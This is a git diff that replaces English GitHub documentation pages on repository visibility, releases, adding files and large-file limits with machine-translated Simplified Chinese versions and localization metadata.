a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md index 9d2e1efb2c..a5a600a8e6 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -1,6 +1,6 @@ --- -title: Setting repository visibility -intro: You can choose who can view your repository. +title: 设置存储库可见性 +intro: 您可选择能够查看仓库的人员。 redirect_from: - /articles/making-a-private-repository-public - /articles/making-a-public-repository-private @@ -16,89 +16,88 @@ versions: topics: - Repositories shortTitle: Repository visibility +ms.openlocfilehash: 2ccdafed8e9efe2bf352033d8fa632147f6bb32b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332019' --- -## About repository visibility changes +## 关于仓库可见性更改 -Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." +组织所有者可以限制只有组织所有者才能更改仓库可见性。 有关详细信息,请参阅“[限制组织中的存储库可见性更改](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)”。 {% ifversion ghec %} -Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only set the visibility of repositories owned by their personal account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +{% data variables.product.prodname_emu_enterprise %} 的成员只能将其个人帐户拥有的存储库的可见性设置为私有,并且其企业组织中的存储库只能是私有的或内部的。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。 {% endif %} -We recommend reviewing the following caveats before you change the visibility of a repository. +我们建议在您更改仓库可见性之前审查以下注意事项。 {% ifversion ghes or ghae %} {% warning %} -**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network. +警告:更改大型存储库或存储库网络的可见性可能会影响数据完整性。 可见性变化也可能对复刻产生意外影响。 {% data variables.product.company_short %} 建议在更改仓库网络的可见性之前遵循以下建议。 -- Wait for a period of reduced activity on {% data variables.location.product_location %}. +- 等待一段时间,让 {% data variables.product.product_location %} 上的活动减少。 -- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance. +- 在继续操作之前,请联系{% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %}。 {% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %}可以联系 {% data variables.contact.contact_ent_support %} 以获取进一步的指导。 {% endwarning %} {% endif %} -### Making a repository private +### 将仓库设为私有 {% ifversion fpt or ghes or ghec %} -* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} -{%- ifversion ghes or ghec or ghae %} -* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +* {% data variables.product.product_name %} 将分离公共存储库的公共分支并将其放入新的网络中。 公共分支无法设为专用。{% endif %} {%- ifversion ghes or ghec or ghae %} +* 如果您将仓库的可见性从内部更改为私有, {% data variables.product.prodname_dotcom %} 将删除属于任何没有新私有仓库访问权限的用户的复刻。 {% ifversion fpt or ghes or ghec %}任何分支的可见性也将更改为专用。{% elsif ghae %}如果内部存储库具有任何分支,则分支的可见性已是专用的。{% endif %}有关详细信息,请参阅“[删除存储库或更改其可见性时,分支会发生什么情况?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)” {%- endif %} {%- ifversion fpt %} -* If you're using {% data variables.product.prodname_free_user %} for personal accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +* 如果对个人帐户或组织使用 {% data variables.product.prodname_free_user %},有些功能在你将可见性更改为私有后不可用于存储库。 任何已发布的 {% data variables.product.prodname_pages %} 站点都将自动取消发布。 如果您将自定义域添加到 {% data variables.product.prodname_pages %} 站点,应在将仓库设为私有之前删除或更新 DNS 记录,以避免域接管的风险。 有关详细信息,请参阅“[{% data variables.product.company_short %} 的产品](/get-started/learning-about-github/githubs-products) 和 [管理 {% data variables.product.prodname_pages %} 站点的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)”。 {%- endif %} {%- ifversion fpt or ghec %} -* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." -* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %} -{%- endif %} +* {% data variables.product.prodname_dotcom %} 不再在 {% data variables.product.prodname_archive %} 中包含该仓库。 有关详细信息,请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上存档内容和数据](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)”。 +* {% data variables.product.prodname_GH_advanced_security %} 功能,例如 {% data variables.product.prodname_code_scanning %},将停止工作{% ifversion ghec %},除非拥有仓库的组织具有 {% data variables.product.prodname_advanced_security %} 许可证和充分的备用席位{% endif %}。 {% data reusables.advanced-security.more-info-ghas %} {%- endif %} {%- ifversion ghes %} -* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +* 匿名 Git 读取权限不再可用。 有关详细信息,请参阅“[为存储库启用匿名 Git 读取访问](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository)”。 {%- endif %} {% ifversion ghes or ghec or ghae %} -### Making a repository internal +### 将仓库设为内部 -* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +* 仓库的任何复刻都将保留在仓库网络中, {% data variables.product.product_name %} 维护根仓库与复刻之间的关系。 有关详细信息,请参阅“[删除存储库或更改其可见性时,分支会发生什么情况?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)” {% endif %} {% ifversion fpt or ghes or ghec %} -### Making a repository public +### 将仓库设为公共 -* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %} -* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)." -* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features. +* {% data variables.product.product_name %} 将会分离私有复刻并将它们变成独立的私有仓库。 有关详细信息,请参阅“[删除存储库或更改其可见性时,分支会发生什么情况?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)”{% ifversion fpt or ghec %} +* 如果在创建开源项目时将专用存储库转换为公共存储库,请参阅[开源代码指南](http://opensource.guide)以获得有用的提示和指导。 还可以利用 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) 免费学习管理开源项目的课程。 您的仓库设为公共后,您还可以查看仓库的社区资料以了解项目是否符合支持贡献者的最佳做法。 有关详细信息,请参阅“[查看社区配置文件](/articles/viewing-your-community-profile)”。 +* 仓库将自动获得对 {% data variables.product.prodname_GH_advanced_security %} 功能的使用权限。 -For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %} +有关提高存储库安全性的信息,请参阅“[保护存储库](/code-security/getting-started/securing-your-repository)”。{% endif %} {% endif %} -## Changing a repository's visibility +## 更改仓库的可见性 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**. - ![Change visibility button](/assets/images/help/repository/repo-change-vis.png) -4. Select a visibility. -{% ifversion fpt or ghec %} - ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %} - ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} -5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of. -6. Click **I understand, change repository visibility**. -{% ifversion fpt or ghec %} - ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %} - ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. 在“危险区域”下的“更改存储库可见性”右侧,单击“更改可见性”。 + ![“更改可见性”按钮](/assets/images/help/repository/repo-change-vis.png) +4. 选择可见性。 +{% ifversion fpt or ghec %} ![存储库可见性选项的对话框](/assets/images/help/repository/repo-change-select.png){% else %} ![存储库可见性选项的对话框](/assets/images/enterprise/repos/repo-change-select.png){% endif %} +5. 要验证您是否正在更改正确仓库的可见性,请键入您想要更改其可见性的仓库名称。 +6. 单击“我了解,更改存储库可见性”。 +{% ifversion fpt or ghec %} ![确认更改存储库可见性按钮](/assets/images/help/repository/repo-change-confirm.png){% else %} ![确认更改存储库可见性按钮](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} -## Further reading -- "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" +## 延伸阅读 +- “[关于存储库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)” diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md index c3edbf5ec0..18866df020 100644 --- a/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md +++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md @@ -1,6 +1,6 @@ --- -title: About releases -intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.' +title: 关于发行版 +intro: 您可以创建包软件的发行版,以及发行说明和二进制文件链接,以供其他人使用。 redirect_from: - /articles/downloading-files-from-the-command-line - /articles/downloading-files-with-curl @@ -16,44 +16,43 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: f0435993e244d470fc5f58afe8b8b2f264d9f95c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881503' --- -## About releases +## 关于发行版 -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -![An overview of releases](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png) -{% else %} -![An overview of releases](/assets/images/help/releases/releases-overview.png) +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4974 %} ![发行版概述](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png) {% elsif ghae-issue-4972 %} ![发行版概述](/assets/images/help/releases/releases-overview-with-contributors.png) {% else %} ![发行版概述](/assets/images/help/releases/releases-overview.png) {% endif %} + +发行版是可部署的软件迭代,您可以打包并提供给更广泛的受众下载和使用。 + +发行版基于用于标记存储库历史记录中的特定点的 [Git 标记](https://git-scm.com/book/en/Git-Basics-Tagging)。 标记日期可能与发行日期不同,因为它们可在不同的时间创建。 有关查看现有标记的详细信息,请参阅“[查看存储库的发行版和标记](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)”。 + +当仓库中发布新发行版时您可以接收通知,但不会接受有关仓库其他更新的通知。 有关详细信息,请参阅“[查看订阅](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)”。 + +对仓库具有读取访问权限的任何人都可以查看和比较发行版,但只有对仓库具有写入权限的人员才能管理发行版。 有关详细信息,请参阅“[管理存储库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository)”。 + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4974 %} 管理发行版时,可以手动创建发行说明。 或者,您可以从默认模板自动生成发行说明,或自定义您自己的发行说明模板。 有关详细信息,请参阅“[自动生成的发行说明](/repositories/releasing-projects-on-github/automatically-generated-release-notes)”。 {% endif %} -Releases are deployable software iterations you can package and make available for a wider audience to download and use. - -Releases are based on [Git tags](https://git-scm.com/book/en/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see "[Viewing your repository's releases and tags](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)." - -You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)." - -Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)." - -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)." +{% ifversion fpt or ghec or ghes > 3.5 or ghae-issue-7054 %} 在查看发布的详细信息时,每个发布资产的创建日期会显示在发布资产旁边。 {% endif %} -{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.6 %} -When viewing the details for a release, the creation date for each release asset is shown next to the release asset. +{% ifversion fpt or ghec %} 对存储库具有管理员权限的人可以选择是否将 {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) 对象包含在 {% data variables.product.product_name %} 为每个发行版创建的 ZIP 文件和 tarball 中。 有关详细信息,请参阅“[管理存储库存档中的 {% data variables.large_files.product_name_short %} 对象](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository)”。 + +如果发行版修复了安全漏洞,您应该在仓库中发布安全通告。 {% data variables.product.prodname_dotcom %} 审查每个发布的安全通告,并且可能使用它向受影响的仓库发送 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[关于 GitHub 安全公告](/github/managing-security-vulnerabilities/about-github-security-advisories)”。 + +可以查看依赖项关系图的“依赖项”选项卡,了解哪些存储库和包依赖于存储库中的代码,并因此可能受到新发行版的影响。 有关详细信息,请参阅“[关于依赖项关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)”。 {% endif %} +您也可以使用发行版 API 来收集信息,例如人们下载发行版资产的次数。 有关详细信息,请参阅“[发行版](/rest/reference/releases)”。 + {% ifversion fpt or ghec %} -People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository)." +## 存储和带宽配额 -If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." - -You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." -{% endif %} - -You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see "[Releases](/rest/reference/releases)." - -{% ifversion fpt or ghec %} -## Storage and bandwidth quotas - - Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage. + 发行版中包含的每个文件都必须在 {% data variables.large_files.max_file_size %} 下。 发行版的总大小和带宽使用没有限制。 {% endif %} diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/comparing-releases.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/comparing-releases.md index c5d73399f6..766c438f0f 100644 --- a/translations/zh-CN/content/repositories/releasing-projects-on-github/comparing-releases.md +++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/comparing-releases.md @@ -1,6 +1,6 @@ --- -title: Comparing releases -intro: You can compare release tags to see changes to your repository between different releases. +title: 比较发行版 +intro: 您可以比较发行版标记以查看不同发行版之间的仓库变化。 permissions: People with read access to a repository can view and compare releases. versions: fpt: '*' @@ -12,18 +12,15 @@ topics: redirect_from: - /github/administering-a-repository/comparing-releases - /github/administering-a-repository/releasing-projects-on-github/comparing-releases +ms.openlocfilehash: 12ec28717e8de8575a58487b02d5665044f471eb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129303' --- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -3. Next to the release you want to use as your base, click **Compare**. - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} - ![Compare release tags menu](/assets/images/help/releases/refreshed-compare-tags.png) - {% else %} - ![Compare release tags menu](/assets/images/help/releases/compare-tags-menu.png) - {% endif %} -4. Use the "Compare" drop-down menu and select the tags you want to compare. - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} - ![Compare release tags menu](/assets/images/help/releases/refreshed-compare-tags-menu-options.png) - {% else %} - ![Compare release tags menu options](/assets/images/help/releases/compare-tags-menu-options.png) - {% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +3. 在要用作基础映像的版本旁边,单击“比较”。 + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![“比较”版本标记菜单](/assets/images/help/releases/refreshed-compare-tags.png) {% else %}![“比较”版本标记菜单](/assets/images/help/releases/compare-tags-menu.png) {% endif %} +4. 使用“Compare(比较)”下拉菜单并选择要比较的标记。 + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![“比较”版本标记菜单](/assets/images/help/releases/refreshed-compare-tags-menu-options.png) {% else %}![“比较”版本标记菜单选项](/assets/images/help/releases/compare-tags-menu-options.png) {% endif %} diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/linking-to-releases.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/linking-to-releases.md index f2c870b63b..c31f76999d 100644 --- a/translations/zh-CN/content/repositories/releasing-projects-on-github/linking-to-releases.md +++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/linking-to-releases.md @@ -1,6 +1,6 @@ --- -title: Linking to releases -intro: You can share every release you create on GitHub with a unique URL. +title: 链接到发行版 +intro: 您可以使用唯一 URL 共享在 GitHub 上创建的每个发行版。 redirect_from: - /articles/linking-to-releases - /github/administering-a-repository/linking-to-releases @@ -12,19 +12,15 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: 9b07e71c6e6d35839d485e5e37c795ac3c663d0b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129301' --- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -3. To copy a unique URL to your clipboard, find the release you want to link to, right click the title, and copy the URL. -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} - ![Release title](/assets/images/help/releases/release-title.png) -{% else %} - ![Release title](/assets/images/help/releases/release-title-old.png) -{% endif %} -1. Alternatively, right click **Latest Release** and copy the URL to share it. The suffix of this URL is always `/releases/latest`. - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} - ![Compare release tags menu](/assets/images/help/releases/refreshed-release-latest.png) - {% else %} - ![Latest release tag](/assets/images/help/releases/release_latest_release_tag.png) - {% endif %} -To link directly to a download of your latest release asset that was manually uploaded, link to `/owner/name/releases/latest/download/asset-name.zip`. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +3. 要将唯一 URL 复制到剪贴板,请找到要链接到的版本,右键单击标题,然后复制 URL。 +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![版本标题](/assets/images/help/releases/release-title.png){% else %}![版本标题](/assets/images/help/releases/release-title-old.png){% endif %} +1. 或者,右键单击“最新版本”并复制 URL 以共享它。 此 URL 的后缀始终是 `/releases/latest`。 + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![比较版本标记菜单](/assets/images/help/releases/refreshed-release-latest.png){% else %}![最新版本标记](/assets/images/help/releases/release_latest_release_tag.png){% endif %}要直接链接到手动上传的最新版本资产的下载,请链接到 `/owner/name/releases/latest/download/asset-name.zip`。 diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md b/translations/zh-CN/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md index 4907c70c9c..288cddafe7 100644 --- a/translations/zh-CN/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md +++ b/translations/zh-CN/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md @@ -1,6 +1,6 @@ --- -title: Adding a file to a repository -intro: 'You can upload and commit an existing file to a repository on {% data variables.product.product_name %} or by using the command line.' +title: 添加文件到仓库 +intro: '您可以在 {% data variables.product.product_name %} 上或使用命令行将现有文件上传并提交到存储库。' redirect_from: - /articles/adding-a-file-to-a-repository - /github/managing-files-in-a-repository/adding-a-file-to-a-repository @@ -18,37 +18,40 @@ versions: topics: - Repositories shortTitle: Add a file +ms.openlocfilehash: da76e182a16b1f72b814882b816f487b8290f3be +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147578906' --- +## 将文件添加到 {% data variables.product.product_name %} 上的存储库 -## Adding a file to a repository on {% data variables.product.product_name %} - -Files that you add to a repository via a browser are limited to {% data variables.large_files.max_github_browser_size %} per file. You can add larger files, up to {% data variables.large_files.max_github_size %} each, via the command line. For more information, see "[Adding a file to a repository using the command line](#adding-a-file-to-a-repository-using-the-command-line)." To add files larger than {% data variables.large_files.max_github_size %}, you must use {% data variables.large_files.product_name_long %}. For more information, see "[About large files on {% data variables.product.product_name %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github)." +通过浏览器添加到仓库的文件大小限于每个文件 {% data variables.large_files.max_github_browser_size %}。 较大的文件可通过命令行添加,最大每个 {% data variables.large_files.max_github_size %}。 有关详细信息,请参阅“[使用命令行将文件添加到存储库](#adding-a-file-to-a-repository-using-the-command-line)”。 要添加大于 {% data variables.large_files.max_github_size %} 的文件,则必须使用 {% data variables.large_files.product_name_long %}。 有关详细信息,请参阅“[关于 {% data variables.product.product_name %} 的大文件](/repositories/working-with-files/managing-large-files/about-large-files-on-github)”。 {% tip %} -**Tips:** -- You can upload multiple files to {% data variables.product.product_name %} at the same time. +**提示:** +- 您可以同时将多个文件上传到 {% data variables.product.product_name %}。 - {% data reusables.repositories.protected-branches-block-web-edits-uploads %} {% endtip %} {% data reusables.repositories.navigate-to-repo %} -2. Above the list of files, using the **Add file** drop-down, click **Upload files**. - !["Upload files" in the "Add file" dropdown](/assets/images/help/repository/upload-files-button.png) -3. Drag and drop the file or folder you'd like to upload to your repository onto the file tree. -![Drag and drop area](/assets/images/help/repository/upload-files-drag-and-drop.png) -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -6. Click **Commit changes**. -![Commit changes button](/assets/images/help/repository/commit-changes-button.png) +2. 在文件列表上方,使用“添加文件”下拉列表,在其中单击“上传文件” 。 + ![“添加文件”下拉列表中的“上传文件”](/assets/images/help/repository/upload-files-button.png) +3. 将要上传的文件或文件夹拖放到文件树中。 +![拖放区域](/assets/images/help/repository/upload-files-drag-and-drop.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} +6. 单击“提交更改”。 +![“提交更改”按钮](/assets/images/help/repository/commit-changes-button.png) -## Adding a file to a repository using the command line +## 使用命令行提交文件到仓库 -You can upload an existing file to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} using the command line. +您可以使用命令行将现有文件上传到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库。 {% tip %} -**Tip:** You can also [add an existing file to a repository from the {% data variables.product.product_name %} website](/articles/adding-a-file-to-a-repository). +提示:还可以[将现有文件从 {% data variables.product.product_name %} 网站添加到存储库](/articles/adding-a-file-to-a-repository)。 {% endtip %} @@ -56,10 +59,8 @@ You can upload an existing file to a repository on {% ifversion ghae %}{% data v {% data reusables.repositories.sensitive-info-warning %} -1. On your computer, move the file you'd like to upload to {% data variables.product.product_name %} into the local directory that was created when you cloned the repository. -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.switching_directories_procedural %} -{% data reusables.git.stage_for_commit %} +1. 在计算机上,将要上传到 {% data variables.product.product_name %} 的文件移入在克隆仓库时创建的本地目录。 +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.command_line.switching_directories_procedural %} {% data reusables.git.stage_for_commit %} ```shell $ git add . # Adds the file to your local repository and stages it for commit. {% data reusables.git.unstage-codeblock %} @@ -71,6 +72,6 @@ You can upload an existing file to a repository on {% ifversion ghae %}{% data v ``` {% data reusables.git.git-push %} -## Further reading +## 延伸阅读 -- "[Adding locally hosted code to {% data variables.product.product_name %}](/get-started/importing-your-projects-to-github/importing-source-code-to-github//adding-locally-hosted-code-to-github)" +- [将本地托管代码添加到 {% data variables.product.product_name %}](/get-started/importing-your-projects-to-github/importing-source-code-to-github//adding-locally-hosted-code-to-github) diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md index 12765fb394..815fd4bd0c 100644 --- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md +++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md @@ -1,6 +1,6 @@ --- -title: About large files on GitHub -intro: '{% data variables.product.product_name %} limits the size of files you can track in regular Git repositories. Learn how to track or remove files that are beyond the limit.' +title: 关于 GitHub 上的大文件 +intro: '{% data variables.product.product_name %} 限制了可以在常规 Git 存储库中跟踪的文件大小。 了解如何跟踪或删除超出限制的文件。' redirect_from: - /articles/distributing-large-binaries - /github/managing-large-files/distributing-large-binaries @@ -22,85 +22,88 @@ versions: ghae: '*' ghec: '*' shortTitle: Large files +ms.openlocfilehash: c9910f669b13c0c2bc4a8517ac6b33476b23b475 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331646' --- +## 关于 {% data variables.product.product_name %} 的大小限制 -## About size limits on {% data variables.product.product_name %} +{% ifversion fpt or ghec %} {% data variables.product.product_name %} 尝试为所有 Git 存储库提供丰富的存储空间,尽管文件和存储库大小存在硬性限制。 为确保用户的性能和可靠性,我们积极监控整个仓库运行状况的信号。 仓库运行状况是各种交互因素共同作用的结果,包括大小、提交频率、内容和结构。 -{% ifversion fpt or ghec %} -{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure. - -### File size limits +### 文件大小限制 {% endif %} -{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)." +{% data variables.product.product_name %} 限制存储库中允许的文件大小。 如果尝试添加或更新大于 {% data variables.large_files.warning_size %} 的文件,您将从 Git 收到警告。 更改仍将成功推送到仓库,但您可以考虑删除提交,以尽量减少对性能的影响。 